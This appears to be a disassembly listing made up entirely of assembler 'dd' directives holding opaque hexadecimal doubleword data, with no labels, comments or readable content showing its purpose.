		dd 0C2869214h, 0C67DEB24h, 0FB2DD080h, 482A525Ch, 0F304BD5Ah
		dd 0F849081Fh, 0AE844FEBh, 65600787h, 0B5521A0Ah, 32284747h
		dd 64B7064Ah, 65ABD14Eh, 0E2456C69h, 4D5031C7h,	635E410Eh
		dd 0E01E2813h, 0A52A7768h, 58C6892Ch, 4A341E7Fh, 134DE753h
		dd 5E40ACE9h, 592974BBh, 0E65A9F2Fh, 0A6D68702h, 7DDE01D0h
		dd 857C4432h, 8A8512Fh,	0FE14CA3Ch, 0C054139Fh,	9313CE4h
		dd 5276A704h, 44094250h, 80817ADDh, 620605ADh, 3DC82DE9h
		dd 510833D3h, 9E9524F2h, 14794C0Ah, 460CBF24h, 0C67D8649h
		dd 0F25500A3h, 0D4C18118h, 504E9504h, 0E0E190C0h, 3BFA0430h
		dd 0D4998BE9h, 0F892EB19h, 0B6CC5755h, 0DF0B1298h, 811BD628h
		dd 0DCE90694h, 0B9015828h, 446D111Fh, 79642081h, 625F8E30h
		dd 7CF23556h, 54F10916h, 0C600D215h, 424A21EEh,	0CE015504h
		dd 15A8C0E9h, 4424AC3Bh, 0F3808015h, 0DE8852FEh, 9CFAF0E4h
		dd 0C31A226Bh, 92A9C1EAh, 0E6E5D87Eh, 0B84ADB40h, 2F0B7DF6h
		dd 0ED58548Ah, 6CCCB580h, 5DB826FAh, 0D9075Ch, 259B2491h
		dd 0BD41CFE9h, 6F253767h, 93E9869Fh, 68628B91h,	5D30A613h
		dd 1359973Ah, 6915C1A6h, 9C542632h, 0A8D5BE92h,	0FECD94D8h
		dd 0E6AB5BA7h, 5252590h, 0D1E2BA0Bh, 425FED1Ch,	0D5014606h
		dd 31259A40h, 0E9296209h, 0BD1658B2h, 0F9C14AC2h, 79A95719h
		dd 0BC88D689h, 0A37D07F4h, 5F0540F7h, 11904772h, 0FC19B825h
		dd 77F53C3h, 6C02785Bh,	5D47C280h, 0DE30E8E0h, 0BB4FE1FAh
		dd 1C20B52Dh, 0E17912CCh, 38DC007Bh, 0E9841E86h, 0B20B675Ah
		dd 6231F121h, 816A8EE9h, 87F47F40h, 0B8B49882h,	0DD649F99h
		dd 16402AF0h, 3AA3368h,	4F4A3443h, 2F70791h, 74C42078h
		dd 0C83107D2h, 94491A77h, 2DD1955Eh, 0E9C34CA4h, 81710075h
		dd 4239C7E2h, 0D5756859h, 0F01221CBh, 6957760Ah, 0D3D0AD69h
		dd 60F38102h, 76536Bh
		dd 98B43CFEh, 5E48297Ch, 7F7A0757h, 0CBF0398Dh,	60D93BC5h
		dd 981D3622h, 8595D144h, 6CC1318Eh, 317A19BDh, 7FAC6AC6h
		dd 2F92F531h, 7CD613Ah,	0C2BB0089h, 49284806h, 5B94A210h
		dd 81C7ED04h, 604E0012h, 4D06EC77h, 7F5D80A0h, 86EE25h
		dd 38F40585h, 0B2125D43h, 0F29AA417h, 706D89B7h, 0F75B4F35h
		dd 5B3C3AC8h, 8E20C89Dh, 9A2E1280h, 7E730C0Eh, 5030E90Dh
		dd 0CEEA5FE8h, 19DB3D11h, 5A018C90h, 0A7034185h, 0B53C3D60h
		dd 18972EABh, 5AEF18E9h, 0F497BA31h, 2FF59CD7h,	0E989ADE7h
		dd 0BF1720CDh, 5EAB7854h, 55740970h, 742AAD00h,	893D03C4h
		dd 91B260FDh, 761E4B1Bh, 829DB029h, 88FB5408h, 680E9959h
		dd 5AE33222h, 18655D2Dh, 8AAC712Dh, 84F127FBh, 0C102B60Fh
		dd 3E52F24Fh, 79F54321h, 0B34DCC4Ah, 0A95604D3h, 8975ABE5h
		dd 27171CF9h, 0E67EE8D2h, 43F10248h, 0D1E921FCh, 64521978h
		dd 6BCD1047h, 0B25AAEC8h, 0BA94FF01h, 0B8887C94h, 5EFB20BDh
		dd 14C38E79h, 2BA25058h, 74309774h, 26E92819h, 9254A699h
		dd 6D75BF5Fh, 44EFBF0Ah, 0B5B4E978h, 0D995A746h, 2C7FBBB2h
		dd 89AFAD96h, 591EB68h,	5C163A4Bh, 0E9A84EA8h, 0C4935524h
		dd 4A055940h, 17BF472h,	389DF52Dh, 70C32177h, 0AB4F8F89h
		dd 17E58C9h, 3A488EA6h,	0CE208A2Dh, 0EA81AD15h,	35F71F73h
		dd 3F750C82h, 16F73C40h, 0B9BA2084h, 8F3A7BAAh,	18BFE455h
		dd 5D14FFE9h, 241ECEF2h, 0A0CB6E95h, 725FD108h,	4029E82Bh
		dd 2DCF17D5h, 0E90FDCE5h, 7FAE3A88h, 0C621D103h, 2ACB7BD1h
		dd 0A2A5F746h, 2D5B290Ch, 2CD1ADEAh, 0F6F17D42h, 89876833h
		dd 9EC6B768h, 36E9550Bh, 0C650E817h, 5A04043Ah,	0C4FE0148h
		dd 4A08142Dh, 31E95BB0h, 86CC874Dh, 0E010D642h,	82C6A5D8h
		dd 5B4A6851h, 3CB640A2h, 0E795407Fh, 0A0989DDAh, 10D77806h
		dd 36255FA2h, 7A28B451h, 9FCBCA2Ch, 5B2085E2h, 0D1D2960Fh
		dd 277DDE0h, 42B4FC88h,	6675CC25h, 0AD4BBD1Ah, 0C010DC3Bh
		dd 666E122Ch, 0F5FA0E5Ah, 57A644F0h, 4FE92240h,	0CA5E43E4h
		dd 45A252A9h, 8350C257h, 92F2124Fh, 0E2895F88h,	545159A0h
		dd 0B77EE9h, 4D3825C2h,	54E03F8h, 3561797Bh, 68669A8h
		dd 58C138C1h, 6CCA3768h, 46C79600h, 0CC4C84F1h,	0A3C3B041h
		dd 0E5FB61DEh, 7333A8E9h, 0BB5301DDh, 2C23386Fh, 0B480C82h
		dd 0F0C02201h, 84B69E61h, 3CAF449h, 7CB470D2h, 51BC66F9h
		dd 405A238Fh, 0CAB252F8h, 5EE4BBE1h, 9F5E122Ch,	0E42C80C5h
		dd 0B7825526h, 60E730B2h, 72885276h, 5AD43AFAh,	44D5E2AEh
		dd 0BBC7909Eh, 70032857h, 53DBF744h, 61A450FFh,	560C09F3h
		dd 0E280203Eh, 3937762Dh, 57A13098h, 0B24A3C15h, 5627C253h
		dd 58F3278Bh, 24F46388h, 4F7028A5h, 0D65FF3C6h,	0B84FF0h
		dd 12731B4Eh, 81331705h, 0CEA0395Bh, 91543A08h,	4FAF2D26h
		dd 9AE59541h, 26816C81h, 80033E42h, 79795043h, 0D92D1260h
		dd 7E50AF65h, 0E95A0408h, 0DBCC8771h, 6C6D0B68h, 7D856F37h
		dd 2C6CA0CAh, 0B652AC0Fh, 97C14FDBh, 9C3CDE21h,	66F88800h
		dd 0D2F65B03h, 7068D086h, 928058D1h, 0E6D0F22Dh, 0A706BBEFh
		dd 0E269138Ah, 0E85AC2ABh, 142CC219h, 0BD7A523Fh, 0DAF1012Dh
		dd 122D496h, 5E607DDAh,	0BC24277Bh, 0A6023B3Ah,	0F749E421h
		dd 0A6880589h, 997B9ACh, 5EC20928h, 47C2ECCAh, 256FEB5Eh
		dd 6EC25DEAh, 0E41CF786h, 9DFC5C4Ah, 0D98CFAF4h, 0B7755ECEh
		dd 285E7B78h, 0F280A0C0h, 7884FFBh, 0EF7DEB9Eh,	0B7098408h
		dd 9D1A7592h, 805B5D98h, 0E92EE40Bh, 0B40E40B6h, 0E4F67EF5h
		dd 7EF4FCDCh, 6F536991h, 3C3177DAh, 0D1447F43h,	0A0CDB7Dh
		dd 8578060Dh, 0C81E669Dh, 0B4047EBAh, 99B828C2h, 0C1583422h
		dd 35E04E7h, 0B8AC3875h, 4DAF71Ah, 6C2980DDh, 1229B3F3h
		dd 0F2585AD1h, 5B592DEAh, 903E1574h, 0C5E35870h, 0B040272Fh
		dd 0CD801C33h, 0F0699D1Bh, 0B04A2BEBh, 4B4FAB23h, 25515C07h
		dd 0BE9A6558h, 9F47E913h, 59A972FBh, 485A29FCh,	0B775E817h
		dd 7BD1FA32h, 0D5EBA842h, 33C16393h, 0BA326AC2h, 77885585h
		dd 0F7EBC537h, 0DDA24E82h, 93E0220h, 0E939E15Fh, 8D6A1108h
		dd 0D1822F03h, 0B57C6057h, 5782565h, 73A06F78h,	0E7092D2Ch
		dd 0F4A3E968h, 76FB981Dh, 921F1E65h, 0C4925F31h, 13C166F4h
		dd 0EA428B28h, 0B3EC8412h, 0D743C602h, 5D29BD74h, 210E80Ah
		dd 4FCD5ADDh, 5700F8F0h, 81A69BFh, 3BF78165h, 44A8645Ch
		dd 6A80418Eh, 2258F1F7h, 63896CE1h, 4A5327EFh, 97FB86A9h
		dd 0E3F050C3h, 0C0FC409Ch, 2704E226h, 0CFCA8000h, 0E00BB753h
		dd 0DBE927FAh, 3AFC6109h, 0FFB10949h, 0C088F83Eh, 4025142Eh
		dd 0B35462Ch, 5893D829h, 0EBC10101h, 25DA6103h,	57A33AE3h
		dd 12C0E692h, 0A43233FAh, 0A7848966h, 0B87150F4h, 29EC4EACh
		dd 5C58FCC3h, 0BF170055h, 800ED0Fh, 432D5E5h, 1E29C7C5h
		dd 0E551088Fh, 1BC339B9h, 0E9200C49h, 0CD4C621Ch, 0F92ECF98h
		dd 2D44F28Bh, 55DD4FEh,	0EFB4F6FFh, 0C262BB69h,	0E08C92D6h
		dd 0A1901C7Ah, 18E740A0h, 211E9A17h, 0CB450E04h, 4C6D8CAEh
		dd 52F40241h, 3A4EBF73h, 0B4B215F6h, 3B65B5Eh, 0A5AA3D6h
		dd 0BECE59E9h, 4CF16860h, 5B0F2819h, 40F498D5h,	0AE0FBEACh
		dd 920DA110h, 0C2241F49h, 4F3579E7h, 1C58A6CBh,	9444585Ah
		dd 9DAF31FEh, 0EB872F68h, 541D87E2h, 46BEE3B5h,	93DED25h
		dd 0B1395DAEh, 8AB808ABh, 26DE4212h, 4BCC088h, 0A254B468h
		dd 2F553F6Bh, 56FFC1B0h, 4371EA71h, 0A4AA02Bh, 0E6CED617h
		dd 0E9485DC1h, 0CC2B84EDh, 1150582Dh, 72418B40h, 41FD9B34h
		dd 62B62A9Fh, 0C83B5C0Ch, 0BF89742Eh, 0BA7DD42Bh, 8E8EA364h
		dd 76A8782Ah, 6702FACh,	58726AECh, 2F471950h, 3C519B40h
		dd 0A21342B5h, 0F4C4E489h, 38643918h, 32E2525Eh, 8932C7D8h
		dd 0D29BB957h, 72282FD6h, 75C1C281h, 0A6331B79h, 26AFEC2Ah
		dd 0C3F91886h, 0BD100D62h, 340A71FCh, 991205Fh,	0DA683292h
		dd 433A69C1h, 5E21625h,	3AB56F00h, 25E97440h, 2F999DDAh
		dd 48E6EED8h, 0FEA7524Eh, 0B4501440h, 0F6818334h, 0A091BACh
		dd 0FE6B86CEh, 71A501AAh, 0A73680E9h, 9CFB96B5h, 0FE9943C1h
		dd 6E16E711h, 0CAE4D545h, 0E689B85Dh, 91E09845h, 87EF8474h
		dd 528685FDh, 766EA6CBh, 3FCCFC1Fh, 0D804CEE4h,	92AE8F38h
		dd 884B9A7h, 0FC919229h, 0C106A172h, 4D581D4Ch,	36F40F0Ch
		dd 0E18525E4h, 3B02829Eh, 0FDAD20D7h, 0A2918DDDh, 6D4A5DAAh
		dd 1A75E209h, 85485D79h, 0B89C6EE9h, 0B417CB2Ch, 68B54541h
		dd 0AC26EB88h, 0BFA9C70h, 0AE5A02A9h, 59DCE227h, 105DA4C6h
		dd 35D54EEEh, 0B0E500AEh, 573A5A29h, 30C5E919h,	0CD79C6D3h
		dd 4C6592Fh, 54828EBCh,	0D4D5C9E9h, 0ED574D62h,	0C9D32BF8h
		dd 0EB439025h, 562D023Ch, 8928C842h, 38B5967Fh,	0AD34E952h
		dd 0FA2D4Eh, 9B0D298Ah,	51016A3Bh, 5808039Eh, 78CD0E06h
		dd 52944DA2h, 0E607CA10h, 6F2FF15Fh, 1D323F81h,	1E6E7852h
		dd 0F38BC689h, 80CA1ABBh, 0B36B46C5h, 2D8FB72Eh, 4EA63601h
		dd 6A103138h, 4F7804A3h, 801CC02Ah, 0F607CAC9h,	3E1C0D1h
		dd 6E07CF3Fh, 0A1523DF1h, 7C09CBF0h, 2CB4FFEh, 7B045B8Bh
		dd 89CC8E57h, 5DD3B85Ah, 7D8291h, 5B71EB2Dh, 5A8F7D6Ah
		dd 0F09E1312h, 0F2F25395h, 4368E9A8h, 0A56F469Eh, 0EED37B2Bh
		dd 87A194ADh, 7A382FC5h
		dd 0CBBE4B9Fh, 0B3A5CC09h, 0A66AC202h, 8707C470h, 0D0F797FEh
		dd 7CF50C3Dh, 4B681034h, 5FDAF39Ah, 4E4864E7h, 0F3E0A320h
		dd 9FEB8012h, 972B93B0h, 0B966F704h, 6FB910F8h,	0B7945B2Fh
		dd 738939B5h, 8B4B1838h, 0D7C342Ah, 10BAD7C0h, 0BD80BF97h
		dd 7DD5606Ah, 25B858B5h, 0B503F7E9h, 84934B04h,	0D32CC881h
		dd 91458997h, 0E98CB202h, 0C17348C3h, 0AD0851EDh, 0C505DD22h
		dd 0AFBD3441h, 18123900h, 2431D0B9h, 0A68A5BDDh, 0A8DC1275h
		dd 6302CD4Ch, 0D55D8E8Ah, 4FBE0125h, 0DA015663h, 80C3D42h
		dd 2B5C5528h, 2C0282AFh, 0B653E16Fh, 0A7357A06h, 0E7022E5Dh
		dd 75A8177Eh, 46276A83h, 43144F1h, 1B5287EBh, 0E7A80D96h
		dd 0E9C9E084h, 246D63E2h, 0B0060Ah, 25027C4Ah, 5A67D509h
		dd 66736768h, 8128242Bh, 0C780981h, 0BEE28080h,	13136963h
		dd 0CEE01AE9h, 69EF77D1h, 90DFF1A8h, 83331D34h,	4CF8B84Eh
		dd 899A051Fh, 3C701E9Bh, 685A0780h, 0D9028C25h,	132980D0h
		dd 0E94F42A3h, 85AA49h,	0A76C5DB9h, 9814143h, 0B44875C9h
		dd 86025A7Ch, 5FB8AFA9h, 0F821AF82h, 0C1400351h, 5F3108E8h
		dd 929F0DC8h, 0AE64401Bh, 27BE3C0h, 9D0B364Bh, 521D5E58h
		dd 0E9C04784h, 86097F96h, 57316C2Eh, 632F14A0h,	3EF3CF7Ch
		dd 10E42621h, 4028E66Eh, 281340ECh, 0F6B93256h,	9800475Ch
		dd 8178BF01h, 11043CE6h, 64E97CC3h, 89BB0ED4h, 7D3F4152h
		dd 398205AFh, 9D1A5085h, 11FCA9BEh, 0DDD2E91Ah,	0ECB576E3h
		dd 3509BE0Eh, 807F481Ah, 627DE751h, 0BB0CD374h,	69E9B943h
		dd 0C35B3B07h, 0AD768E97h, 3AC50B54h, 9C26820Ah, 0D82102B8h
		dd 80B50761h, 0B0ACF1A3h, 7D31CAAFh, 40945FCFh,	3786C3EDh
		dd 0CBB71CFAh, 0E3DBC87Eh, 0F0FE5E03h, 17B555ABh, 0A4E9098Fh
		dd 0CC970C78h, 434F02C0h, 555372C7h, 1A02FF76h,	80BD57E5h
		dd 0E90B96C1h, 968248CDh, 9984088Bh, 6E87BF20h,	40FACAE4h
		dd 0FE77E33Ah, 0F6EAD0C3h, 0F386D31Eh, 0FF08C61Bh, 0DA30AA60h
		dd 0D47B26E9h, 285B8AD6h, 0CD570885h, 16E4892Fh, 0C368124Dh
		dd 0FF374A73h, 1210A6D5h, 5E1EFD6Dh, 569A71F2h,	68DC406Ah
		dd 0F1A5F3C3h, 52267h, 2701C295h, 79F863C0h, 0DF9D6AEDh
		dd 13EEE200h, 0C0165E73h, 150DE9A9h, 0F4CD4CB7h, 0F3E65E4Dh
		dd 1A290583h, 91AE0102h, 7E804CC2h, 22F69B91h, 1E7DB7C4h
		dd 7907EEC1h, 17862FFBh, 2C51BDABh, 8BE976B0h, 4947BE91h
		dd 0C5B085h, 79C4EA28h,	86F81D77h, 17936C59h, 66E95604h
		dd 4274184h, 99FEE588h,	0BDBF603Ch, 5E80EE95h, 0FBDA3368h
		dd 0F74E5BF6h, 97047CE4h, 0E9131596h, 9CBC766Ah, 53972296h
		dd 0FB27B1FEh, 4936AF49h, 0A17AF195h, 171426B7h, 0E2F9C5F3h
		dd 0D238485h, 0FEF731A8h, 14C1399Ah, 5506BDCDh,	2DFC3806h
		dd 30D0C1ADh, 41F25020h, 99616EB3h, 718D4874h, 3E53AD50h
		dd 98A76E44h, 0A5AF5A0Ah, 6CAF7AD4h, 3FAF979Bh,	5F40857Dh
		dd 0C7A600B7h, 5434123Fh, 5B0AA998h, 0EC79C968h, 0D83B2118h
		dd 14B76453h, 547EB463h, 4E8C455Fh, 1A5C1F5Eh, 4F124B6Ah
		dd 0F512432h, 0A53C3624h, 523B2022h, 0B5D5CB59h, 13D5A0E2h
		dd 0B6D40232h, 85EE80ECh, 0DE0E6DF4h, 530EF028h, 0FD40F788h
		dd 6B045A5Bh, 2C74E8FAh, 0C921E926h, 281C65A5h,	5CCE4060h
		dd 0DA2EA7EDh, 6A36CB2h, 5974CA28h, 0D028E001h,	0D4C5E951h
		dd 0B3845122h, 7B3EC220h, 421FBAE3h, 76C284EBh,	0F129B6E9h
		dd 0EDBF6FDBh, 0F2011C72h, 62D82F29h, 47F4D131h, 7F1A95CEh
		dd 0B472EC85h, 253CC2A6h, 37BDCEC5h, 0F53CC90Eh, 32F529C9h
		dd 0E90C0728h, 29C928D4h, 772EC4h, 58E38118h, 0E9348851h
		dd 73B5D472h, 0AC54127Ah, 0BD55C0B9h, 48F43DB9h, 165E552Fh
		dd 0A6731C7Ah, 0C26B08A8h, 4BD16804h, 0D94730ABh, 0D9983857h
		dd 5D4ECB04h, 0B4A033F4h, 0A02502F3h, 0DA29C403h, 0D75DE2D7h
		dd 1B732C6Ch, 39459D2Ch, 62AD2500h, 0BAD6E9BAh,	56ABCB6Ah
		dd 652D54FEh, 10D92CA7h, 3E593BD9h, 0CE354BC9h,	4B5E0488h
		dd 122D8F12h, 0BFE7BC27h, 0BC2C0250h, 0BD4FA8D7h, 419D1C28h
		dd 34E58FE9h, 5E4BF23Ch, 95EA63B0h, 48BD774Eh, 2D58BBAFh
		dd 0F101DF5Ch, 6020A3ACh, 154FF62Eh, 79587032h,	69D6086Eh
		dd 81C5310Bh, 2D0689Bh,	14A3B33Ah, 0D3C45250h, 5B251DA6h
		dd 69FA18D6h, 0F042F7DBh, 0BFB1571Ch, 7A72B55Dh, 22DD682h
		dd 0C377F529h, 29AEFC39h, 0CFC86A29h, 7A639F5Bh, 0F105E399h
		dd 8122E60h, 7D8BDE8h, 1804E8C1h, 5452C831h, 40B26AC8h
		dd 3AB556C6h, 55D0BE7h,	828DDB32h, 0B72B6E46h, 630B8F70h
		dd 2F74F1Ch, 46EE067h, 0ADB0C257h, 336DB800h, 645D60A8h
		dd 47550417h, 2051F097h, 0B9040FEFh, 3A2436E6h,	1CF2DCC6h
		dd 405942F1h, 79922D78h, 1264F22h, 88EFB6C8h, 0EA6804A1h
		dd 9C31BF1Ah, 1925E1FBh, 0A80E576Ah, 0DFBD9243h, 7E1031D4h
		dd 0C12E7DD1h, 0F501CAEDh, 62A1D13h, 2EFAB16Eh,	0CB3B28B5h
		dd 0B9510FB0h, 3EFC969h, 4F65E9AEh, 5A82A60Dh, 0E24A76CAh
		dd 96E909E3h, 0E4D4DAE0h, 90C3E8D8h, 9006FD5Ah,	0D697F0Ch
		dd 120A0C2Eh, 0BC373A7Bh, 0CED0028h, 0E984529Ah, 8517542Bh
		dd 5F00B8F8h, 0BE9034DBh, 0A4F4BE4Bh, 23BB8828h, 835E9BC1h
		dd 790FCDC0h, 78294149h, 0B8EB400Ah, 0C958C140h, 3D512544h
		dd 0F606E08Bh, 3A74C23Fh, 60D848DCh, 0AE1EBD68h, 1820F58Eh
		dd 0AD5A5EE7h, 0AFCA026Ah, 400B586Ah, 0F8DF75BBh, 0D789275Dh
		dd 4724AF14h, 0B01F3F4Fh, 0CE723B4Fh, 0FA7942E6h, 3C75FE69h
		dd 4954C682h, 69E22CB0h, 0D6016E48h, 245BD1EEh,	188679F2h
		dd 0B9022470h, 6BB01257h, 3F46D449h, 9304CF0Bh,	72CBBA07h
		dd 0E4749769h, 0C9DC4971h, 9D0616CDh, 88A5012Bh, 3038F659h
		dd 0DE160763h, 1CFAAB0Bh, 27E8D068h, 82B6B358h,	217C09CFh
		dd 893AF16Bh, 0E4765F68h, 5AAFE963h, 0CEBA81BBh, 0B02D0178h
		dd 0BD3A8DF0h, 0B316B28h, 0E3656C55h, 39171411h, 843CA867h
		dd 5331BF57h, 94287B09h, 6DC3B5CDh, 50E590CDh, 8012C7B4h
		dd 601112F4h, 2E3B5897h, 2C1D8C88h, 849D2F3Eh, 97FA6693h
		dd 0D9115BF5h, 0E7BA60D2h, 0F35C240h, 151043EEh, 2B50A84Bh
		dd 2248912Dh, 0A6187Ch,	7CF78147h, 53C44417h, 5486CC01h
		dd 0C8702FAh, 3B94C319h, 7F07504h, 0D616F787h, 68500B08h
		dd 0C29A5F76h, 0F3823144h, 0EA71F95Eh, 5E57490Ah, 0A25F12DBh
		dd 0BBF5D358h, 24AF3321h, 0E9179D9Ch, 0D1BCF984h, 0E3445ACFh
		dd 0D343E47Ch, 6FC7431Eh, 0E5E43BDFh, 2A95C2h, 0F705E5C1h
		dd 54B4D54Bh, 0B7E302A2h, 0AEDEE97Ch, 0DC026802h, 0FB6DCF7Ah
		dd 0F8E6041Ah, 0D95D2DB9h, 0D2245B41h, 546B556Bh, 0BBC6C4B5h
		dd 9056EB32h, 17ACBD07h, 0AD0BDA20h, 4B0CD0F4h,	0D75EE2F8h
		dd 0FCBAB41Bh, 80EFF103h, 0BDEE1D92h, 565A25B7h, 54567A11h
		dd 0D955A65h, 5C5BDE01h, 0B441136Dh, 3B6119F6h,	90BCD960h
		dd 0E946161Bh, 50E9E39Ah, 11306B9Ch, 3BCFB893h,	243CE452h
		dd 8148EFC1h, 0B8578EAh, 0DA0E844Fh, 988184BBh,	0B196FD08h
		dd 9856FFEAh, 980428AFh, 842053B6h, 899C51EEh, 89B6ADBEh
		dd 0CA84FEB3h, 41F3A0B1h, 15F22BCBh, 3FED697Ah,	0A0BB9C83h
		dd 760D7F7Bh, 0DC227849h, 3A58CD78h, 77050307h,	834A637Fh
		dd 323501C0h, 56CA071Dh, 0E5DF7E4Eh, 7FC78942h,	2941237Bh
		dd 0B864B9C2h, 0C88FD83Bh
		dd 3264615Ah, 0E93828EAh, 0F700074Ah, 40A73DB8h, 0FFD0F4B7h
		dd 0C84ECC7Eh, 0D4BEC39Dh, 9040991h, 58C3FB89h,	21C2BF7Eh
		dd 0DD96D7C1h, 906CACF7h, 0B05FA210h, 0D1952624h, 0B753C026h
		dd 0F75886A7h, 9E8F2410h, 0D125389Bh, 8F7BB1DDh, 0D96E26E0h
		dd 3250E4A5h, 8D1F767h,	792521E4h, 18C3C46Bh, 411CA468h
		dd 0D9B76A2Bh, 60B5C2C9h, 7D7CE2DDh, 3EDB483h, 80050607h
		dd 0C33331F5h, 0C7EB83F4h, 3E72B62Eh, 955F70FAh, 7F4B41D1h
		dd 0E97859B4h, 29BED953h, 0A4427958h, 5D12A19Dh, 0E66A1468h
		dd 9668C36Eh, 0C43D1040h, 6F2914DDh, 9897108Ch,	63277F48h
		dd 0CC9712E6h, 0B9EF5E08h, 257A4C20h, 6B187C19h, 0CBF08255h
		dd 0E3FDA907h, 1308C0DCh, 12396629h, 95175003h,	0BE058818h
		dd 66A27D4Bh, 10EF8B4Fh, 3013B755h, 0B1F1E8F8h,	312FAC7Bh
		dd 46CD8ACh, 67219813h,	0AF04ADFDh, 0FC5DDD9Ch,	6349205h
		dd 3B3D27BFh, 0DD078064h, 0E99BC4C2h, 0B9F32265h, 5E892127h
		dd 79D07376h, 0B037AE95h, 90F397BDh, 24093A88h,	6A46032Ch
		dd 0D7DA2F40h, 7468E4E8h, 0D1E72B62h, 0B36607CAh, 6A51145h
		dd 0F1821848h, 9FF8CD4Dh, 7EB05849h, 0E5B67095h, 0A0E6801Ch
		dd 0FE6FCEC7h, 0F6F1103Ch, 2082B0F6h, 0EC9DE2A1h, 7BAE200Eh
		dd 4113BA75h, 0C0E04C4Fh, 0CB472D4Bh, 8938C1FCh, 8F2AC801h
		dd 53A6C0B6h, 4BD709B9h, 27F6EC5Ah, 9FBF957h, 0C822DAE9h
		dd 48F7C331h, 9562A283h, 0C688D810h, 3A50583Eh,	77A7CAE4h
		dd 80F7EE40h, 79B75854h, 0EEE9C121h, 169337FEh,	0ADFD2BB9h
		dd 0F0C5E9A0h, 4F6194B7h, 8BC40FCBh, 0F91D9953h, 0E7497E23h
		dd 3ED572EAh, 1EB3DA01h, 2B3C04Dh, 8006060Bh, 0CB4D86C1h
		dd 40CDB093h, 0F85829F6h, 0B2E0111Bh, 0F9EBB57Eh, 0E4DF45DAh
		dd 3CB780EDh, 471B3E05h, 31C95498h, 807809F1h, 0E554417Bh
		dd 6C4F29D9h, 0B9D217E8h, 7BF84C1Bh, 0A59AC597h, 546A7059h
		dd 0B8058E38h, 750C962h, 79FC3D15h, 6EE23BF7h, 0E93C3A34h
		dd 22E90CD1h, 0EF5822EDh, 19408321h, 0E7116D2Ah, 0BFC1E8A4h
		dd 0FE3C196h, 0D03216h,	0F1176FBBh, 0DD2138h, 0AC68575Bh
		dd 5F345E3Dh, 0A2394698h, 0D8362D3Fh, 28AD02C8h, 0FD2977FAh
		dd 780201F4h, 0F6750511h, 0C05312A8h, 5BDA21C6h, 0E44FB298h
		dd 0B5C32A88h, 5F481D7Ah, 18F41237h, 0FC1069CAh, 0EB052FB7h
		dd 0E35FD195h, 0E8D2B43Ch, 2121A408h, 206E6133h, 6A685BEDh
		dd 52CC5C5Ah, 4A3675ADh, 7972EC1Ah, 9687440h, 1EF73FCAh
		dd 0B9025B82h, 36C25F05h, 250A0A0Bh, 0DC17E5C4h, 2604293Fh
		dd 8AAF5AD3h, 0BEA426Bh, 0B859B368h, 56DFE919h,	6F4C5E22h
		dd 0D82F7238h, 0D5683D99h, 0C55A7C7Fh, 9F986EBDh, 0B4E913FCh
		dd 127C9810h, 0E0134355h, 91A8505Ch, 0BDBA1663h, 80D6B707h
		dd 33BC8EFh, 2CD7F60Ah,	201FDB0Ah, 0B50B20E2h, 517100A0h
		dd 97463A26h, 0E04F8510h, 0A77741B6h, 0E62C7EF1h, 0D5E91658h
		dd 0E9D994F0h, 0A7B15A34h, 3E72D32Bh, 0B2C50B00h, 0FE59EC28h
		dd 145348C4h, 35931C13h, 7345AF61h, 0EA346F6Ch,	52CB1EA9h
		dd 18594474h, 0A02F40F1h, 4A007765h, 0B8506094h, 17AC079Fh
		dd 0A148E9C4h, 0E5ED7521h, 0CA3C26h, 0D275C8BAh, 0E4FA3122h
		dd 4608D2D7h, 0D76E0CB2h, 53873400h, 0EF64ACBBh, 843FE331h
		dd 0D6A51FA4h, 1AD8D010h, 27138A54h, 1BFDBF7h, 9562D00h
		dd 1EF3D868h, 0E0F4503Bh, 0D566F518h, 94E9132Eh, 0F7C4B580h
		dd 4FD6BD94h, 0B07248ECh, 6D5095F4h, 0CE958F9Ah, 654FFA76h
		dd 0C79DA760h, 0DB494FAAh, 83419341h, 0EA68BE46h, 6CE354h
		dd 1707B837h, 5D057B63h, 0E3D92600h, 8AE9C389h,	84A0958Eh
		dd 4F521115h, 5A0EC097h, 537B1D19h, 6D458568h, 283B83Eh
		dd 31B85802h, 13B7D401h, 3A2201C6h, 28292D7Dh, 0C9810365h
		dd 8F3B1815h, 0C2DB406Fh, 4E29D459h, 28698BCEh,	4CC138C6h
		dd 1C5D150Dh, 18B3EA30h, 464BCD16h, 693D7089h, 0E3279821h
		dd 1EC0EAB7h, 0C923FE11h, 0CD46C489h, 5B20BE45h, 3F141FA0h
		dd 0C6BA605h, 0F218EA83h, 0E42A2C07h, 0F7C38706h, 560860D3h
		dd 0A6F0B059h, 7FB8017Ah, 0B63DB441h, 0D234523Dh, 0B5D0B215h
		dd 6C52F5h, 0C46BC12Dh,	0BF5BD4E4h, 0B210DACBh,	4C582D5Eh
		dd 8E70975Ah, 0ECF08F20h, 6DBA0468h, 0FF5D746Fh, 0BFE9E230h
		dd 6B6CB721h, 0D2850440h, 609CBC5Bh, 0E561BAAEh, 1525EDEh
		dd 8B101B9Ch, 406F6C33h, 214B5A07h, 0F68DE42h, 0FA60F643h
		dd 42AC54D1h, 4279681Ah, 97CB00B6h, 9D032269h, 0F8A5A4FBh
		dd 520694C2h, 1BC8E6D4h, 40E4F4C5h, 227E1E27h, 4739D31Ch
		dd 73DC886Bh, 8313F190h, 7EF15BDFh, 0DF5AE26Ah,	93F8C656h
		dd 7709E9CFh, 5EC92A56h, 6C662DCBh, 0BA1BE919h,	0D82FFE61h
		dd 0BF490DE7h, 1AE0274Eh, 6D498190h, 102F7390h,	5A0607F1h
		dd 0DD78D368h, 48FDF920h, 0E4069050h, 48408776h, 7804680Ah
		dd 2C07E331h, 0FBAE4BDDh, 2EE1C89Ah, 9A00B35h, 23F97FE9h
		dd 5C50B849h, 6746B53Eh, 12B05D57h, 949D7F06h, 0F97C91EDh
		dd 0B11FFC4Fh, 3A59FC99h, 56EACF04h, 0B500FE88h, 29503307h
		dd 820990F3h, 93C4DD08h, 463D3B6Bh, 4EDE7C4Bh, 5A26C2A2h
		dd 86CD41F5h, 0FA883D60h, 17979692h, 42F9045Eh,	0A8680785h
		dd 27C4E68Bh, 8CD96EB1h, 0F9A50285h, 0ABE98AC1h, 0D95D177Fh
		dd 895A2D5Ch, 91B415Bh,	0C300AE7Ch, 3312FADFh, 0D9047268h
		dd 0A4E9F8BCh, 3CC051A0h, 232702E7h, 9700C109h,	35073C01h
		dd 2E691109h, 2714564Dh, 2377659Ah, 0CB902Ch, 8158C66Dh
		dd 0AA733FCEh, 1CD72E4Ch, 0C7D207FBh, 0A16A0EF1h, 780F409Dh
		dd 6B48EA7Eh, 749502CDh, 0E94A3839h, 0F3EF427Fh, 5B61C1C6h
